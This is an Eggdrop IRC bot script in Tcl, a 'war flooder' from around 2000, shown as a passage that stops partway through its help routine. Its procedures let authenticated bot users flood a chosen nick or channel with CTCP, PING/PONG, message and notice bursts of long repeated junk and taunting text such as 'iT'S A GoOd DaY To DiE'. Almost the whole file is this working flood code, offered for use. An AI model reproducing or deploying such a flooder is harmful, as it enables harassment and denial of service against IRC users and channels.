# Begin - Commands & Control, War [Flooder]. (cmd_wfld.tcl)
#	Designed & Written by TCP-IP (Vicky@Vic.ky), © April 1999
#	Developed by Ninja_baby (Jaysee@Jaysee.Tv), © March 2000

# This script was made by TCP-IP in middle of 1999, I develop this script since he passes this script-
# to me in middle of 2000. I made few changes, add some features, and fixed some bugs that were remain-
# here in this script package.

# This is kewl TCL, I made few FLOODING command here.. you can run flood command by /msg the bot or -
# from public (channel) commands.
# You can ask for help simpy do /msg <yourbotnick> wfldhelp or do `wfldhelp in channel to see what commands-
# did this script has.. I set 2 types of commands.. /msg commands and public (channel) commands.
# NOTE: not much.. even almost has no DCC command stuffs over here.. I will make the DCC commands very soon ;)
#       so please support ;). Hey, if you have other types of flooders perhaps you can give me some-
#       opions, I'll design it as soon I filter it ;)

# Set this as your Public (channel) command character. For example: you set this to "!".. means you must-
# type !mycommand in channel to activate public commands...
set WARPRM "`"

# Set these following lines with a msg that the bot will perform in channel, when you tell it to flood itself LOL
# perhaps you might set this as insults hehe.. set these as many as you wish.. ;)
set noflmsgs {
  "flood yourself!"
  "no way! =P"
  "no way jose, :D"
  "up yours!"
}

# Set this to "1" if you like the script to be loaded.. and set it to "0" to unload.
set cmdwfldloaded 1

# This is for your benefit hehe ;), you can either set your own LOGO here, your logo will appear-
# when the bot notice you, or when it makes msgs/notices/kicks or scripts loading. So keep smiling-
# and set this variable as you wish ;), you can either set this to "" to leave it blank.
set cmdwfllg "\[4x]:"

######### Please do not edit anything below unless you know what you are doing ;) #########

proc pub_wflood {nick uhost hand chan rest} {
	global WARPRM botnick noflmsgs cmdwfllg
	if {![matchattr $hand Q]} {puthelp "NOTICE $nick :$cmdwfllg You haven't authenticate Yourself. Type: \[/msg $botnick auth <password>\] to do so." ; return 0}
	set ftrigger [lindex $rest 0] ; set person [lindex $rest 1] ; set rest [lrange $rest 2 end]
	if {$ftrigger == "" || $person == "" || $rest == ""} {puthelp "NOTICE $nick :$cmdwfllg Type: \[/msg $botnick wfldhelp\] or: \[${WARPRM}wfldhelp\] on channel to see available commands." ; return 0}
	if {[string tolower $person] == [string tolower $botnick] || [matchattr [nick2hand $person] f]} {putquick "PRIVMSG $chan :$nick: [lindex $noflmsgs [rand [llength $noflmsgs]]]" ; return 0}
	if {[string match "#*" $person]} {
		if {![validchan $person]} {puthelp "NOTICE $nick :$cmdwfllg I'm not on channel: $person. You must tell me to join that channel first." ; return 0}
		set members [chanlist $person]
		foreach x $members {if {[matchattr [nick2hand $x] f]} {puthelp "NOTICE $nick :$cmdwfllg There's user(s) on $person, whose in my user list with \[friend\] (+f) flag or higher. I will not flood that channel." ; return 0}}
	}
	switch $ftrigger {
		1	{ pub_ctcp1 $nick $hand $person $rest ; return 0 }
		2	{ pub_ctcp2 $nick $hand $person $rest ; return 0 }
		3	{ pub_ctcp3 $nick $hand $person $rest ; return 0 }
		4	{ pub_msgnot1 $nick $hand $person $rest ; return 0 }
		5	{ pub_msgnot2 $nick $hand $person $rest ; return 0 }
		6	{ pub_msgnot3 $nick $hand $person $rest ; return 0 }
		7	{ pub_msgnot4 $nick $hand $person $rest ; return 0 }
		8	{ pub_msgnot5 $nick $hand $person $rest ; return 0 }
		9	{ pub_msgnot6 $nick $hand $person $rest ; return 0 }
		10	{ pub_msgnot7 $nick $hand $person $rest ; return 0 }
		11	{ pub_msgnot8 $nick $hand $person $rest ; return 0 }
		12	{ pub_msgnot9 $nick $hand $person $rest ; return 0 }
		13	{ pub_msgnot10 $nick $hand $person $rest ; return 0 }
		14	{ pub_msgnot11 $nick $hand $person $rest ; return 0 }
	}
	puthelp "NOTICE $nick :$cmdwfllg Type: \[/msg $botnick wfhelp\] or: \[${WARPRM}wfhelp\] on channel to see available commands." ; return 0
}

proc pub_ctcp1 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :\001 \001"
	putquick "NOTICE $person :"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! CTCP flood $person" ; return 0
}
proc pub_ctcp2 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,TSuNaMi FLooD With HuRt ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
	putquick "NOTICE $person :$rest,TSuNaMi FLooD With HuRt ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! Tsunami Notice/CTCP $person" ; return 0
}
proc pub_ctcp3 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :\001PING [unixtime]\001"
	putquick "PRIVMSG $person :\001PONG [unixtime]\001"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! flood PING-PONG $person" ; return 0
}
proc pub_msgnot1 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE"
	putquick "NOTICE $person :$rest,1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 0,1iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE 1,0iT'S A GoOd DaY To DiE"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 1 $person" ; return 0
}
proc pub_msgnot2 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!8,12FLooDIng Is |12,8Tha BesT!"
	putquick "NOTICE $person :$rest,6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!6,15FLooDIng Is |15,6Tha BesT!"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 2 $person" ; return 0
}
proc pub_msgnot3 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
	putquick "NOTICE $person :$rest,|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 3 $person" ; return 0
}
proc pub_msgnot4 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!Ha "
	putquick "NOTICE $person :$rest,HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!Ha "
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 4 $person" ; return 0
}
proc pub_msgnot5 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ß"
	putquick "NOTICE $person :$rest,####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ßßßß§§§§####$$$$%%%%¥¥¥¥××××ß"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 5 $person" ; return 0
} 
proc pub_msgnot6 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,\[PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD\]"
	putquick "NOTICE $person :$rest,\[PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD|PL@OD\]"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 6 $person" ; return 0
}
proc pub_msgnot7 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]"
	putquick "NOTICE $person :$rest,\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]\[L@VË#HÙRTS\]"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 7 $person" ; return 0
}
proc pub_msgnot8 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,\[MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK\]"
	putquick "NOTICE $person :$rest,\[MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK#@#MÅTÉK\]"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 8 $person" ; return 0
}
proc pub_msgnot9 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH"
	putquick "NOTICE $person :$rest,MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH@MúÀcH"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 9 $person" ; return 0
}
proc pub_msgnot10 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!"
	putquick "NOTICE $person :$rest,TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!TÉW@S!"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 10 $person" ; return 0
}
proc pub_msgnot11 {nick hand person rest} {
	global botnick cmdwfllg
	putquick "PRIVMSG $person :$rest,BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT"
	putquick "NOTICE $person :$rest,BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT@BÛSÝÊT"
	putcmdlog "$cmdwfllg <<$nick>> !$hand! N/M flood 11 $person" ; return 0
}

proc msg_wfhelp {nick uhost hand rest} {
	global WARPRM botnick cmdwfllg
	putquick "NOTICE $nick :$cmdwfllg War Commands \[Flooder\]"
	putquick "NOTICE $nick : "
	putquick "NOTICE $nick :Notes:"
	putquick "NOTICE $nick :<> sign means you MUST fill the value."
	putquick "NOTICE $nick :\[\] sign means you can either fill the value or leave it blank."
	putquick "NOTICE $nick :| sign means you MUST choose one between value placed on the left side of | sign, or on the right side."
	putquick "NOTICE $nick : "
	putquick "NOTICE $nick :CTCP flood commands:"
	putquick "NOTICE $nick :${WARPRM}flood 1 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 2 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 3 <nick/#chan> <msgs>"
	putquick "NOTICE $nick : "
	putquick "NOTICE $nick :Msg/Notice flood commands:"
	putquick "NOTICE $nick :${WARPRM}flood 4 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 5 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 6 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 7 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 8 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 9 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 10 <nick/#chan> <msgs>"
